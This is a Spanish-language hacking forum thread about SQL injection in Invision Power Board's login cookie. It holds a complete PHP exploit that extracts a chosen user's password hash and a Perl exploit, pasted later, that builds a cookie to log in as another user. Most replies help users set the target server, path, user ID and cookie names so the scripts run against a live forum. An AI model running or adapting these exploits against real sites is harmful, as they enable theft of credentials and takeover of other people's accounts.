Tema destacado: Nueva página de elhacker.net en Google+ 
Autor
|
Tema: Invision Power Board Login.PHP SQL Injection Vulnerability (Leído 2,505 veces)
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
vulnerable hasta la version 2.0.3
<?php $server = "SERVER"; $port = 80; $file = "PATH";
$target = 81;
/* User id and password used to fake-logon are not important. '10' is a random number. */ $id = 10; $pass = "";
$hex = "0123456789abcdef"; for($i = 1; $i <= 32; $i++ ) { $idx = 0; $found = false;
while( !($found) ) { $letter = substr($hex, $idx, 1);
/* %2527 translates to %27, which gets past magic quotes. This is translated to ' by urldecode. */ $cookie = "member_id=$id;pass_hash=$pass%2527%20OR%20id=$target"; $cookie .= "%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;
/* Query is in effect: SELECT * FROM ibf_members WHERE id=$id AND password='$pass' OR id=$target HAVING id=$target AND MID(`password`,$i,1)='$letter' */
$header = getHeader($server, $port, $file . "index.php?act=Login&CODE=autologin", $cookie); if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) ) { echo $i . ": " . $letter . "\n"; $found = true;
$hash .= $letter; } else { $idx++; } } }
echo "\n\nFinal Hash: $hash\n";
function getHeader($server, $port, $file, $cookie) { $ip = gethostbyname($server); $fp = fsockopen($ip, $port);
if (!$fp) { return "Unknown"; } else { $com = "HEAD $file HTTP/1.1\r\n"; $com .= "Host: $server:$port\r\n"; $com .= "Cookie: $cookie\r\n"; $com .= "Connection: close\r\n"; $com .= "\r\n";
fputs($fp, $com);
do { $header.= fread($fp, 512); } while( !preg_match('/\r\n\r\n$/',$header) ); }
return $header; } ?>
Fuente: Securityfocus
Salu2
|
|
|
|
|
En línea
|
|
|
|
alb3rt0
Desconectado
Mensajes: 217
|
me sale esto: 1: 0 2: 0 3: 0 4: 0 5: 0 6: 0 7: 0 8: 0 9: 0 10: 0 11: 0 12: 0 13: 0 14: 0 15: 0 16: 0 17: 0 18: 0 19: 0 20: 0 21: 0 22: 0 23: 0 24: 0 25: 0 26: 0 27: 0 28: 0 29: 0 30: 0 31: 0 32: 0 Final Hash: 00000000000000000000000000000000
hago algo mal?
|
|
|
|
« Última modificación: 8 Mayo 2005, 18:09 por alb3rt0 »
|
En línea
|
|
|
|
Ertai
Ex-Staff
Desconectado
Mensajes: 2.026
Ralph Wiggum
|
Has cambiado las variables de arriba del todo? Donde dice server y path? Si no, es imposible que funcione  Además creo que tienes que estar registrao y tener la cookie, sino no sirve de nada. Saludos, Ertai
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
alb3rt0
Desconectado
Mensajes: 217
|
cambié esto:
<?php $server = "SERVER"; $port = 80; $file = "PATH";
estoy registrado en el foro, pero hay que hacer algo mas? ???
|
|
|
|
|
En línea
|
|
|
|
Ertai
Ex-Staff
Desconectado
Mensajes: 2.026
Ralph Wiggum
|
Mira si tienes la cookie de autologin... Creo que es eso.
Saludos, Ertai
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
ColdWinteR
Desconectado
Mensajes: 60
"el niubi" (phase 2)
|
A mí me pasa lo mismo... ¿lo solucionaste?
|
|
|
|
|
En línea
|
|
|
|
alb3rt0
Desconectado
Mensajes: 217
|
si, la cookie esta perfecta, me autologuea ???
|
|
|
|
|
En línea
|
|
|
|
Ertai
Ex-Staff
Desconectado
Mensajes: 2.026
Ralph Wiggum
|
Yo tampoco he conseguido hacer andar el exploit...  Saludos, Ertai
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
ColdWinteR
Desconectado
Mensajes: 60
"el niubi" (phase 2)
|
Lo he seguido probando en mi server, pero aún no saqué resultados. De todas formas, hay que hacer más modificaciones en el código que las dichas previamente. Yo he modificado lo siguiente; si alguien tiene alguna buena nueva, que lo notifique aquí  Por un lado, lo que ya dijisteis: $server = "mi.server.com"; $port = puertoquecorresponda; $file = "mi.server.com/foros/";
Por otro, el nombre de las cookies: $cookie = "<nombrecookie>member_id=$id;<nombrecookie>pass_hash=$pass%2527%20OR%20id=$target";
Hasta ahí he podido averiguar, aunque quizás haya que cambiar también el $target
|
|
|
|
|
En línea
|
|
|
|
|
|
alb3rt0
Desconectado
Mensajes: 217
|
Nos podrias explicar que hay que cambiar? y si son por defecto los nombres, o hay k buscarlos? gracias
|
|
|
|
|
En línea
|
|
|
|
ColdWinteR
Desconectado
Mensajes: 60
"el niubi" (phase 2)
|
En el exploit original (el del primer post de este thread), hay que cambiar lo siguiente: $server = "SERVER"; -> ip del server vulnerable o dns (ejs: www.ejemplo.com o 192.168.0.1) $port = 80; -> puerto por el cual se intentará establecer la conexión con $server. Lo normal es que sea el 80, ya que es el default para los servers web $file = "PATH"; -> directorio donde se encuentra el foro dentro de $server (ej: /forum/) $target = 81; -> ID del usuario del que se quiere obtener el hash del pass $cookie ="member_id=$id;pass_hash=$pass%2527%20OR%20id=$target"; -> member_id y pass_hash son el nombre de las cookies. Debéis cambiar estos por los nombres de las cookies del sitio vulnerable en el caso de que no coincidieran con los aquí puestos Si todo ha ido bien, cargad el exploit, y a los 5-10 minutos os devolverá el MD5 hash del password en cuestión  Saludos ^^
|
|
|
|
|
En línea
|
|
|
|
roder
Desconectado
Mensajes: 8
|
Sigo sin enterarme, segun lo dicho el exploit quedaria asi no? <?php $server = "mi.server.com"; $port = 80; $file = "mi.server.com/foros/";
$target = 1;
/* User id and password used to fake-logon are not important. '10' is a random number. */ $id = 1; $pass = "";
$hex = "0123456789abcdef"; for($i = 1; $i <= 32; $i++ ) { $idx = 0; $found = false;
while( !($found) ) { $letter = substr($hex, $idx, 1);
/* %2527 translates to %27, which gets past magic quotes. This is translated to ' by urldecode. */ $cookie = "member_id=$id;pass_hash=$pass%2527%20OR%20id=$target"; $cookie .= "%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;
/* Query is in effect: SELECT * FROM ibf_members WHERE id=$id AND password='$pass' OR id=$target HAVING id=$target AND MID(`password`,$i,1)='$letter' */
$header = getHeader($server, $port, $file . "index.php?act=Login&CODE=autologin", $cookie); if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) ) { echo $i . ": " . $letter . "\n"; $found = true;
$hash .= $letter; } else { $idx++; } } }
echo "\n\nFinal Hash: $hash\n";
function getHeader($server, $port, $file, $cookie) { $ip = gethostbyname($server); $fp = fsockopen($ip, $port);
if (!$fp) { return "Unknown"; } else { $com = "HEAD $file HTTP/1.1\r\n"; $com .= "Host: $server:$port\r\n"; $com .= "Cookie: $cookie\r\n"; $com .= "Connection: close\r\n"; $com .= "\r\n";
fputs($fp, $com);
do { $header.= fread($fp, 512); } while( !preg_match('/\r\n\r\n$/',$header) ); }
return $header; } ?>
He cambiado $server, $port, $file, $target y $id; Mi duda es como poner $cookie, podrias poner el ejemplo en el codigo, asi se veria mas facil. Gracias.
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.320
Peace & Love
|
Muchas personas se quejan de que ese exploit no funciona y yo tampoco logre hacerlo funcionar luego de varios cambios e intentos. En bugtraq publicaron otro pero aun no lo he probado , me avisan si este funciona. #!/usr/bin/perl -w ################################################################## # This one actually works :) Just paste the outputted cookie into # your request header using livehttpheaders or something and you # will probably be logged in as that user. No need to decrypt it! # Exploit coded by "Tony Little Lately" and "Petey Beege" ##################################################################
use LWP::UserAgent;
$ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent);
if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; # userid to jack my $iver = $ARGV[2]; # version 1 or 2 my $cpre = $ARGV[3]; # cookie prefix my $dbug = $ARGV[4]; # debug?
if (!$ARGV[2]) { print "The type of the file system is NTFS.\n\n"; print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n"; print "DRIVE C: WILL BE LOST!\n"; print "Proceed with Format (Y/N)?\n"; exit; }
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';
for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>';
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) ) { $outputs .= $current; print "$current\n"; last; }
} if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit;
|
|
|
|
|
En línea
|
|
|
|
ColdWinteR
Desconectado
Mensajes: 60
"el niubi" (phase 2)
|
$file = "mi.server.com/foros/"; En el último post que puse dije que estaba equivocado: $file = "PATH"; -> directorio donde se encuentra el foro dentro de $server (ej: /forum/) Por tanto, en este caso deberías poner: $file = "/foros/"; El nuevo PoC que pusieron no lo probé, pero el primero lo testeé y funciona a la perfección, como ya dije la última vez 
|
|
|
|
|
En línea
|
|
|
|
|
|